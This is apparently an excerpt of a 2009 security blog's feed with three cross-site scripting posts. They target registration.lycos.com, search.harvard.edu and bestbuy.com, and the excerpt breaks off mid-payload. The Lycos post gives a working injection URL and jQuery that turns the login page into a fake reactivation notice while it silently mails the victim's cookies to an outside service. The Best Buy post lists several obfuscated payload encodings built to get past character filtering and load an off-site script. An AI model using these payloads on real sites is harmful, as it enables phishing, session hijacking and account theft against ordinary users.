src='https://blogger.googleusercontent.com/tracker/4928953116864298022-9124966374959589918?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/9124966374959589918/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2009/05/walmartstorescom-making-best-of-things.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/9124966374959589918'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/9124966374959589918'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2009/05/walmartstorescom-making-best-of-things.html' title='Making The Best Of Things - Walmartstores.com'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-3692775536350509958</id><published>2009-05-16T00:04:00.000-07:00</published><updated>2009-05-16T00:41:44.265-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='web development'/><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='social engineering'/><category scheme='http://www.blogger.com/atom/ns#' term='phishing'/><category scheme='http://www.blogger.com/atom/ns#' term='jquery'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='programming'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='html'/><title type='text'>Phishing With jQuery - Registration.Lycos.Com</title><content type='html'>jQuery is a wonderful tool when the need to traverse the HTML DOM arises. With only a few lines of code the layout of a web page can be drastically altered. Using an XSS vulnerability and a bit of creativity we can manipulate &lt;a href="http://registration.lycos.com"&gt;http://registration.lycos.com&lt;/a&gt;, turning it into what appears to be a reactivation link that users must click to keep their accounts. When the user navigates to the page, the malicious code reads the value cookie and sends it to us using an anonymous mailing service. All of this will happen transparently as the user is waiting to be redirected to &lt;a href="http://mail.lycos.com"&gt;http://mail.lycos.com&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_r1bXskT1Xow/Sg5mIG4ZwlI/AAAAAAAAABc/kOpId6NUUq0/s1600-h/Lycos-1.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 244px;" src="http://2.bp.blogspot.com/_r1bXskT1Xow/Sg5mIG4ZwlI/AAAAAAAAABc/kOpId6NUUq0/s320/Lycos-1.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5336314897952784978" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;First, we need the vulnerability. &lt;a href="https://registration.lycos.com/login.php?action=login&amp;m_PR=27&amp;m_CBURL=http://www.lycos.com/&amp;m_U=%27%2F%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%27%48%65%6C%6C%6F%2C%20%57%6F%72%6C%64%27%29%3B%3C%2F%73%63%72%69%70%74%3E"&gt;https://registration.lycos.com/login.php?action=login&amp;m_PR=27&amp;m_CBURL=http://www.lycos.com/&amp;m_U='/&amp;gt;&amp;lt;script&amp;gt;alert('Hello, World');&amp;lt;/script&amp;gt;&lt;/a&gt; will work.&lt;br /&gt;&lt;br /&gt;Next is the jQuery. Using it we're going to alter the title and login form, then email the cookie value by appending a hidden &lt;b&gt;iframe&lt;/b&gt; to TestDiv. The JavaScript below should fulfill these needs, mailing to you@yourdomain.com.&lt;br /&gt;&lt;pre name="code" class="js"&gt;&lt;br /&gt;$(this).load(function() {&lt;br /&gt;    $('title').html('Reactivation');&lt;br /&gt;    $('form').html('&amp;lt;div id="TestDiv"&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;h3 style="color:green;margin:"&amp;gt;Activated&amp;lt;/h3&amp;gt;Your account has been reactivated.&amp;lt;br /&amp;gt;Redirecting to &amp;lt;a href="http://mail.lycos.com"&amp;gt;http://mail.lycos.com&amp;lt;/a&amp;gt;...');&lt;br /&gt;    var u = 'http://send-anonymous-email.com/Record.php?email_from=someemail%40domain.com&amp;email_to=you%40yourdomain.com&amp;subject=Have+A+Cookie&amp;message=' + escape(document.cookie) + '&amp;kind=html';&lt;br /&gt;    $('#TestDiv').append('&amp;lt;iframe style="display:none;" src="' + u + '" /&amp;gt;');&lt;br /&gt;&lt;br /&gt;    setTimeout("window.location='http://mail.lycos.com';", 5000);&lt;br /&gt;});&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;To obscure our code and keep the URL short we can remove all unnecessary whitespace and append it to the end of the jQuery file. Doing so would look something like this:&lt;br /&gt;&lt;pre name="code" class="js"&gt;&lt;br /&gt;[jQuery] $(this).load(function(){$('title').html('Reactivation');$('form').html('&amp;lt;div id="TestDiv"&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;h3 style="color:green;margin:"&amp;gt;Activated&amp;lt;/h3&amp;gt;Your account has been reactivated.&amp;lt;br /&amp;gt;Redirecting to &amp;lt;a href="http://mail.lycos.com"&amp;gt;http://mail.lycos.com&amp;lt;/a&amp;gt;...');var u='http://send-anonymous-email.com/Record.php?email_from=someemail%40domain.com&amp;email_to=you%40yourdomain.com&amp;subject=Have+A+Cookie&amp;message='+escape(document.cookie)+'&amp;kind=html';$('#TestDiv').append('&amp;lt;iframe style="display:none;" src="'+u+'"/&amp;gt;');setTimeout("window.location='http://mail.lycos.com';",5000);});&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Include the modified version of jQuery using the vulnerability and the result will look like the screenshot below.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_r1bXskT1Xow/Sg5mMCTvSOI/AAAAAAAAABk/MAzwWPRRxGs/s1600-h/Lycos-2.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 244px;" src="http://4.bp.blogspot.com/_r1bXskT1Xow/Sg5mMCTvSOI/AAAAAAAAABk/MAzwWPRRxGs/s320/Lycos-2.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5336314965444741346" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;pre&gt;https://registration.lycos.com/login.php?action=login&amp;m_PR=27&amp;m_CBURL=http://www.lycos.com/&amp;m_U='/&amp;gt;&amp;lt;script src="http://www.yourdomain.com/modifiedjQuery.js"&amp;gt;&amp;lt;/script&amp;gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-3692775536350509958?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/3692775536350509958/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2009/05/phishing-with-jquery.html#comment-form' title='10 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/3692775536350509958'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/3692775536350509958'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2009/05/phishing-with-jquery.html' title='Phishing With jQuery - Registration.Lycos.Com'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_r1bXskT1Xow/Sg5mIG4ZwlI/AAAAAAAAABc/kOpId6NUUq0/s72-c/Lycos-1.png' height='72' width='72'/><thr:total>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-2240645077155083</id><published>2009-05-13T19:20:00.000-07:00</published><updated>2009-06-04T23:57:21.865-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='web development'/><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='programming'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Little or No Effort - Search.Harvard.edu</title><content type='html'>Given the proliferation of data driven sites, it's no surprise that XSS vulnerabilities are everywhere. What is surprising, however, is the number of high profile sites lacking countermeasures. Harvard's search page is a perfect example of this; we can easily inject a script using the &lt;b&gt;oldqt&lt;/b&gt; field.&lt;br /&gt;&lt;pre&gt;http://search.harvard.edu:8765/query.html?charset=iso-8859-1&amp;qt=cross-site%20scripting&amp;oldqt=%3Cscript%20type%3D%22text/javascript%22%20src=%22http://xss-javascript-obfuscator.googlecode.com/svn/trunk/XSSJavascriptObfuscator/test.js%22%3E%3C/script%3E&lt;/pre&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_r1bXskT1Xow/SguAQRlZx7I/AAAAAAAAABU/8_uUWK1zVyc/s1600-h/Harvard1.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 234px;" src="http://4.bp.blogspot.com/_r1bXskT1Xow/SguAQRlZx7I/AAAAAAAAABU/8_uUWK1zVyc/s320/Harvard1.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5335499200637028274" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;No tricks needed, all it takes is a script tag.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-2240645077155083?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/2240645077155083/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2009/05/harvardedu-little-or-no-effort.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/2240645077155083'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/2240645077155083'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2009/05/harvardedu-little-or-no-effort.html' title='Little or No Effort - Search.Harvard.edu'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_r1bXskT1Xow/SguAQRlZx7I/AAAAAAAAABU/8_uUWK1zVyc/s72-c/Harvard1.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-828199155025835225</id><published>2009-05-08T17:21:00.000-07:00</published><updated>2009-05-24T17:54:47.550-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='ASCII'/><category scheme='http://www.blogger.com/atom/ns#' term='web development'/><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='programming'/><category scheme='http://www.blogger.com/atom/ns#' term='obfuscation'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Injecting Script Tags Without Access to Less Than and Greater Than Characters - Bestbuy.com</title><content type='html'>Many times an XSS vulnerability allows for injection of JavaScript, but will (seemingly) prohibit XHTML by encoding &amp;lt; and &amp;gt; respectively as &amp;amp;lt; and &amp;amp;gt;. This certainly complicates matters, but with a little effort and obfuscation we can sidestep such preventative measures. To assist in such tasks I created &lt;a href="http://code.google.com/p/xss-javascript-obfuscator/"&gt;XSS JavaScript Obfuscator&lt;/a&gt; (creative name, I know).&lt;br /&gt;&lt;br /&gt;Let's take a look at &lt;a href="http://www.bestbuy.com/"&gt;http://www.bestbuy.com/&lt;/a&gt; to see what can be done with such utilities. As always the first thing we need to do is find the vulnerability. A little testing reveals that the &lt;b&gt;id&lt;/b&gt; field is vulnerable to JavaScript injection.&lt;br /&gt;&lt;pre&gt;http://www.bestbuy.com/site/olspage.jsp?id=testA.,:;\'"&lt;&gt;()[]{}&amp;type=category&lt;/pre&gt;And here is the vulnerable line of JavaScript:&lt;br /&gt;&lt;pre name="code" class="js"&gt;&lt;br /&gt;ForeCStdSetCookie(triggerParms["oecpp_exitPage"], "testA.,:;\'"()[]{}- page-detail-404-error", null, "/", triggerParms["domain"])&lt;br /&gt;&lt;/pre&gt;By in injecting &lt;b&gt;",null,"/",triggerParms["domain"]);var%20x%3Dnew%20Array("&lt;/b&gt; we can turn the vulnerable block of code into this:&lt;br /&gt;&lt;pre name="code" class="js"&gt;&lt;br /&gt;ForeCStdSetCookie(triggerParms["oecpp_exitPage"], "",null,"/",triggerParms["domain"]);var x=new Array("- page-detail-404-error", null, "/", triggerParms["domain"]);&lt;br /&gt;&lt;/pre&gt;At this point we can easily inject JavaScript&lt;pre&gt;http://www.bestbuy.com/site/olspage.jsp?id=",null,"/",triggerParms["domain"]);alert('Hello,%20World!');var%20x%3Dnew%20Array("&amp;type=category&lt;/pre&gt;&lt;br /&gt;But with less than and greater than characters blocked how can we include an off-site script? This is where the obfuscator comes in. To use it, we're going to have to split our attack into parts.&lt;br /&gt;&lt;br /&gt;&lt;table style="border: solid 1px #9F9F9F;background-color:#EAEAEA;font-size:85%;"&gt;    &lt;tr&gt;       &lt;th style="padding:2px;background-color:#FBFBFB;border:solid 1px #CFCFCF;"&gt;Url Prefix&lt;/th&gt;       &lt;td style="border: solid 1px #CFCFCF;background-color:#FBFBFB;"&gt;http://www.bestbuy.com/site/olspage.jsp?id=&lt;/td&gt;    &lt;/tr&gt;    &lt;tr&gt;       &lt;th style="padding:2px;border:solid 1px #CFCFCF;background-color:#FBFBFB;"&gt;Url Suffix&lt;/th&gt;       &lt;td style="border: solid 1px #CFCFCF;background-color:#FBFBFB;"&gt;&amp;type=category&lt;/td&gt;    &lt;/tr&gt;    &lt;tr&gt;       &lt;th style="padding:2px;border:solid 1px #CFCFCF;background-color:#FBFBFB;"&gt;Attack Vector Prefix&lt;/th&gt;       &lt;td style="border: solid 1px #CFCFCF;background-color:#FBFBFB;"&gt;",null,"/",triggerParms["domain"]);&lt;/td&gt;    &lt;/tr&gt;    &lt;tr&gt;       &lt;th style="padding:2px;border:solid 1px #CFCFCF;background-color:#FBFBFB;"&gt;Attack Vector Suffix&lt;/th&gt;       &lt;td style="border: solid 1px #CFCFCF;background-color:#FBFBFB;"&gt;var x=new Array("&lt;/td&gt;    &lt;/tr&gt;    &lt;tr&gt;       &lt;th style="padding:2px;border:solid 1px #CFCFCF;background-color:#FBFBFB;"&gt;Code&lt;/th&gt;       &lt;td style="border: solid 1px #CFCFCF;background-color:#FBFBFB;"&gt;&amp;lt;script type=&amp;quot;text/javascript&amp;quot; src=&amp;quot;http://xss-javascript-obfuscator.googlecode.com/svn/trunk/XSSJavascriptObfuscator/test.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/td&gt;    &lt;/tr&gt; &lt;/table&gt;&lt;br /&gt;Now that we've got our attack broken up lets populate the fields of XSS JavaScript Obfuscator (embedded at the bottom of this post) and generate some links for &lt;a href="http://www.bestbuy.com/"&gt;http://www.bestbuy.com&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;table style="border: solid 1px #9F9F9F;background-color:#EAEAEA;font-size:85%;"&gt;     &lt;tr&gt;       &lt;th style="padding:2px;background-color:#FBFBFB;border:solid 1px #CFCFCF;width:100px;"&gt;String.fromCharCode&lt;/th&gt;       &lt;td style="border: solid 1px #CFCFCF;background-color:#FBFBFB;"&gt;&lt;textarea style="width:465px;height:100px;border:none;"wrap="soft"&gt;http://www.bestbuy.com/site/olspage.jsp?id=",null,"/",triggerParms["domain"]);document.write(String.fromCharCode(60,115,99,114,105,112,116,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,32,115,114,99,61,34,104,116,116,112,58,47,47,120,115,115,45,106,97,118,97,115,99,114,105,112,116,45,111,98,102,117,115,99,97,116,111,114,46,103,111,111,103,108,101,99,111,100,101,46,99,111,109,47,115,118,110,47,116,114,117,110,107,47,88,83,83,74,97,118,97,115,99,114,105,112,116,79,98,102,117,115,99,97,116,111,114,47,116,101,115,116,46,106,115,34,62,60,47,115,99,114,105,112,116,62));var x=new Array("&amp;type=category&lt;/textarea&gt;&lt;/td&gt;    &lt;/tr&gt;    &lt;tr&gt;       &lt;th style="padding:2px;background-color:#FBFBFB;border:solid 1px #CFCFCF;width:100px;"&gt;String.fromCharCode + Partial Url Encode&lt;/th&gt;       &lt;td style="border: solid 1px #CFCFCF;background-color:#FBFBFB;width:500px;"&gt;&lt;textarea style="width:465px;height:100px;border:none;"wrap="soft"&gt;http://www.bestbuy.com/site/olspage.jsp?id=%22%2Cnull%2C%22/%22%2CtriggerParms%5B%22domain%22%5D%29%3Bdocument.write%28String.fromCharCode%2860%2C115%2C99%2C114%2C105%2C112%2C116%2C32%2C116%2C121%2C112%2C101%2C61%2C34%2C116%2C101%2C120%2C116%2C47%2C106%2C97%2C118%2C97%2C115%2C99%2C114%2C105%2C112%2C116%2C34%2C32%2C115%2C114%2C99%2C61%2C34%2C104%2C116%2C116%2C112%2C58%2C47%2C47%2C120%2C115%2C115%2C45%2C106%2C97%2C118%2C97%2C115%2C99%2C114%2C105%2C112%2C116%2C45%2C111%2C98%2C102%2C117%2C115%2C99%2C97%2C116%2C111%2C114%2C46%2C103%2C111%2C111%2C103%2C108%2C101%2C99%2C111%2C100%2C101%2C46%2C99%2C111%2C109%2C47%2C115%2C118%2C110%2C47%2C116%2C114%2C117%2C110%2C107%2C47%2C88%2C83%2C83%2C74%2C97%2C118%2C97%2C115%2C99%2C114%2C105%2C112%2C116%2C79%2C98%2C102%2C117%2C115%2C99%2C97%2C116%2C111%2C114%2C47%2C116%2C101%2C115%2C116%2C46%2C106%2C115%2C34%2C62%2C60%2C47%2C115%2C99%2C114%2C105%2C112%2C116%2C62%29%29%3Bvar%20x%3Dnew%20Array%28%22&amp;type=category&lt;/textarea&gt;&lt;/td&gt;    &lt;/tr&gt;    &lt;tr&gt;       &lt;th style="padding:2px;background-color:#FBFBFB;border:solid 1px #CFCFCF;width:100px;"&gt;String.fromCharCode + Complete Url Encode&lt;/th&gt;       &lt;td style="border: solid 1px #CFCFCF;background-color:#FBFBFB;width:500px;"&gt;&lt;textarea style="width:465px;height:100px;border:none;"wrap="soft"&gt;http://www.bestbuy.com/site/olspage.jsp?id=%22%2c%6e%75%6c%6c%2c%22%2f%22%2c%74%72%69%67%67%65%72%50%61%72%6d%73%5b%22%64%6f%6d%61%69%6e%22%5d%29%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%36%30%2c%31%31%35%2c%39%39%2c%31%31%34%2c%31%30%35%2c%31%31%32%2c%31%31%36%2c%33%32%2c%31%31%36%2c%31%32%31%2c%31%31%32%2c%31%30%31%2c%36%31%2c%33%34%2c%31%31%36%2c%31%30%31%2c%31%32%30%2c%31%31%36%2c%34%37%2c%31%30%36%2c%39%37%2c%31%31%38%2c%39%37%2c%31%31%35%2c%39%39%2c%31%31%34%2c%31%30%35%2c%31%31%32%2c%31%31%36%2c%33%34%2c%33%32%2c%31%31%35%2c%31%31%34%2c%39%39%2c%36%31%2c%33%34%2c%31%30%34%2c%31%31%36%2c%31%31%36%2c%31%31%32%2c%35%38%2c%34%37%2c%34%37%2c%31%32%30%2c%31%31%35%2c%31%31%35%2c%34%35%2c%31%30%36%2c%39%37%2c%31%31%38%2c%39%37%2c%31%31%35%2c%39%39%2c%31%31%34%2c%31%30%35%2c%31%31%32%2c%31%31%36%2c%34%35%2c%31%31%31%2c%39%38%2c%31%30%32%2c%31%31%37%2c%31%31%35%2c%39%39%2c%39%37%2c%31%31%36%2c%31%31%31%2c%31%31%34%2c%34%36%2c%31%30%33%2c%31%31%31%2c%31%31%31%2c%31%30%33%2c%31%30%38%2c%31%30%31%2c%39%39%2c%31%31%31%2c%31%30%30%2c%31%30%31%2c%34%36%2c%39%39%2c%31%31%31%2c%31%30%39%2c%34%37%2c%31%31%35%2c%31%31%38%2c%31%31%30%2c%34%37%2c%31%31%36%2c%31%31%34%2c%31%31%37%2c%31%31%30%2c%31%30%37%2c%34%37%2c%38%38%2c%38%33%2c%38%33%2c%37%34%2c%39%37%2c%31%31%38%2c%39%37%2c%31%31%35%2c%39%39%2c%31%31%34%2c%31%30%35%2c%31%31%32%2c%31%31%36%2c%37%39%2c%39%38%2c%31%30%32%2c%31%31%37%2c%31%31%35%2c%39%39%2c%39%37%2c%31%31%36%2c%31%31%31%2c%31%31%34%2c%34%37%2c%31%31%36%2c%31%30%31%2c%31%31%35%2c%31%31%36%2c%34%36%2c%31%30%36%2c%31%31%35%2c%33%34%2c%36%32%2c%36%30%2c%34%37%2c%31%31%35%2c%39%39%2c%31%31%34%2c%31%30%35%2c%31%31%32%2c%31%31%36%2c%36%32%29%29%3b%76%61%72%20%78%3d%6e%65%77%20%41%72%72%61%79%28%22&amp;type=category&lt;/textarea&gt;&lt;/td&gt;    &lt;/tr&gt;    &lt;tr&gt;       &lt;th style="padding:2px;background-color:#FBFBFB;border:solid 1px #CFCFCF;width:100px;"&gt;Unescape Partial Encode&lt;/th&gt;       &lt;td style="border: solid 1px #CFCFCF;background-color:#FBFBFB;width:500px;"&gt;&lt;textarea style="width:465px;height:100px;border:none;"wrap="soft"&gt;http://www.bestbuy.com/site/olspage.jsp?id=",null,"/",triggerParms["domain"]);document.write(unescape('%3Cscript%20type%3D%22text/javascript%22%20src%3D%22http%3A//xss-javascript-obfuscator.googlecode.com/svn/trunk/XSSJavascriptObfuscator/test.js%22%3E%3C/script%3E'));var x=new Array("&amp;type=category&lt;/textarea&gt;&lt;/td&gt;    &lt;/tr&gt;    &lt;tr&gt;       &lt;th style="padding:2px;background-color:#FBFBFB;border:solid 1px #CFCFCF;width:100px;"&gt;Unescape Partial Encode + Partial Url Encode&lt;/th&gt;       &lt;td style="border: solid 1px #CFCFCF;background-color:#FBFBFB;width:500px;"&gt;&lt;textarea style="width:465px;height:100px;border:none;"wrap="soft"&gt;http://www.bestbuy.com/site/olspage.jsp?id=%22%2Cnull%2C%22/%22%2CtriggerParms%5B%22domain%22%5D%29%3Bdocument.write%28unescape%28%27%253Cscript%2520type%253D%2522text/javascript%2522%2520src%253D%2522http%253A//xss-javascript-obfuscator.googlecode.com/svn/trunk/XSSJavascriptObfuscator/test.js%2522%253E%253C/script%253E%27%29%29%3Bvar%20x%3Dnew%20Array%28%22&amp;type=category&lt;/textarea&gt;&lt;/td&gt;    &lt;/tr&gt;    &lt;tr&gt;       &lt;th style="padding:2px;background-color:#FBFBFB;border:solid 1px #CFCFCF;width:100px;"&gt;Unescape Partial Encode + Full Url Encode&lt;/th&gt;       &lt;td style="border: solid 1px #CFCFCF;background-color:#FBFBFB;width:500px;"&gt;&lt;textarea style="width:465px;height:100px;border:none;"wrap="soft"&gt;http://www.bestbuy.com/site/olspage.jsp?id=%22%2c%6e%75%6c%6c%2c%22%2f%22%2c%74%72%69%67%67%65%72%50%61%72%6d%73%5b%22%64%6f%6d%61%69%6e%22%5d%29%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%75%6e%65%73%63%61%70%65%28%27%25%33%43%73%63%72%69%70%74%25%32%30%74%79%70%65%25%33%44%25%32%32%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%25%32%32%25%32%30%73%72%63%25%33%44%25%32%32%68%74%74%70%25%33%41%2f%2f%78%73%73%2d%6a%61%76%61%73%63%72%69%70%74%2d%6f%62%66%75%73%63%61%74%6f%72%2e%67%6f%6f%67%6c%65%63%6f%64%65%2e%63%6f%6d%2f%73%76%6e%2f%74%72%75%6e%6b%2f%58%53%53%4a%61%76%61%73%63%72%69%70%74%4f%62%66%75%73%63%61%74%6f%72%2f%74%65%73%74%2e%6a%73%25%32%32%25%33%45%25%33%43%2f%73%63%72%69%70%74%25%33%45%27%29%29%3b%76%61%72%20%78%3d%6e%65%77%20%41%72%72%61%79%28%22&amp;type=category&lt;/textarea&gt;&lt;/td&gt;    &lt;/tr&gt;    &lt;tr&gt;       &lt;th style="padding:2px;background-color:#FBFBFB;border:solid 1px #CFCFCF;width:100px;"&gt;Unescape Full Encode&lt;/th&gt;       &lt;td style="border: solid 1px #CFCFCF;background-color:#FBFBFB;width:500px;"&gt;&lt;textarea style="width:465px;height:100px;border:none;"wrap="soft"&gt;http://www.bestbuy.com/site/olspage.jsp?id=",null,"/",triggerParms["domain"]);document.write(unescape('%3c%73%63%72%69%70%74%20%74%79%70%65%3d%22%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%78%73%73%2d%6a%61%76%61%73%63%72%69%70%74%2d%6f%62%66%75%73%63%61%74%6f%72%2e%67%6f%6f%67%6c%65%63%6f%64%65%2e%63%6f%6d%2f%73%76%6e%2f%74%72%75%6e%6b%2f%58%53%53%4a%61%76%61%73%63%72%69%70%74%4f%62%66%75%73%63%61%74%6f%72%2f%74%65%73%74%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e'));var x=new Array("&amp;type=category&lt;/textarea&gt;&lt;/td&gt;    &lt;/tr&gt;    &lt;tr&gt;       &lt;th style="padding:2px;background-color:#FBFBFB;border:solid 1px #CFCFCF;width:100px;"&gt;Unescape Full Encode + Partial Url Encode&lt;/th&gt;       &lt;td style="border: solid 1px #CFCFCF;background-color:#FBFBFB;width:500px;"&gt;&lt;textarea style="width:465px;height:100px;border:none;"wrap="soft"&gt;http://www.bestbuy.com/site/olspage.jsp?id=%22%2Cnull%2C%22/%22%2CtriggerParms%5B%22domain%22%5D%29%3Bdocument.write%28unescape%28%27%253c%2573%2563%2572%2569%2570%2574%2520%2574%2579%2570%2565%253d%2522%2574%2565%2578%2574%252f%256a%2561%2576%2561%2573%2563%2572%2569%2570%2574%2522%2520%2573%2572%2563%253d%2522%2568%2574%2574%2570%253a%252f%252f%2578%2573%2573%252d%256a%2561%2576%2561%2573%2563%2572%2569%2570%2574%252d%256f%2562%2566%2575%2573%2563%2561%2574%256f%2572%252e%2567%256f%256f%2567%256c%2565%2563%256f%2564%2565%252e%2563%256f%256d%252f%2573%2576%256e%252f%2574%2572%2575%256e%256b%252f%2558%2553%2553%254a%2561%2576%2561%2573%2563%2572%2569%2570%2574%254f%2562%2566%2575%2573%2563%2561%2574%256f%2572%252f%2574%2565%2573%2574%252e%256a%2573%2522%253e%253c%252f%2573%2563%2572%2569%2570%2574%253e%27%29%29%3Bvar%20x%3Dnew%20Array%28%22&amp;type=category&lt;/textarea&gt;&lt;/td&gt;    &lt;/tr&gt;    &lt;tr&gt;       &lt;th style="padding:2px;background-color:#FBFBFB;border:solid 1px #CFCFCF;width:100px;"&gt;Unescape Full Encode + Full Url Encode&lt;/th&gt;       &lt;td style="border: solid 1px #CFCFCF;background-color:#FBFBFB;width:500px;"&gt;&lt;textarea style="width:465px;height:100px;border:none;"wrap="soft"&gt;http://www.bestbuy.com/site/olspage.jsp?id=%22%2c%6e%75%6c%6c%2c%22%2f%22%2c%74%72%69%67%67%65%72%50%61%72%6d%73%5b%22%64%6f%6d%61%69%6e%22%5d%29%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%75%6e%65%73%63%61%70%65%28%27%25%33%63%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%32%30%25%37%34%25%37%39%25%37%30%25%36%35%25%33%64%25%32%32%25%37%34%25%36%35%25%37%38%25%37%34%25%32%66%25%36%61%25%36%31%25%37%36%25%36%31%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%32%32%25%32%30%25%37%33%25%37%32%25%36%33%25%33%64%25%32%32%25%36%38%25%37%34%25%37%34%25%37%30%25%33%61%25%32%66%25%32%66%25%37%38%25%37%33%25%37%33%25%32%64%25%36%61%25%36%31%25%37%36%25%36%31%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%32%64%25%36%66%25%36%32%25%36%36%25%37%35%25%37%33%25%36%33%25%36%31%25%37%34%25%36%66%25%37%32%25%32%65%25%36%37%25%36%66%25%36%66%25%36%37%25%36%63%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%65%25%36%33%25%36%66%25%36%64%25%32%66%25%37%33%25%37%36%25%36%65%25%32%66%25%37%34%25%37%32%25%37%35%25%36%65%25%36%62%25%32%66%25%35%38%25%35%33%25%35%33%25%34%61%25%36%31%25%37%36%25%36%31%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%34%66%25%36%32%25%36%36%25%37%35%25%37%33%25%36%33%25%36%31%25%37%34%25%36%66%25%37%32%25%32%66%25%37%34%25%36%35%25%37%33%25%37%34%25%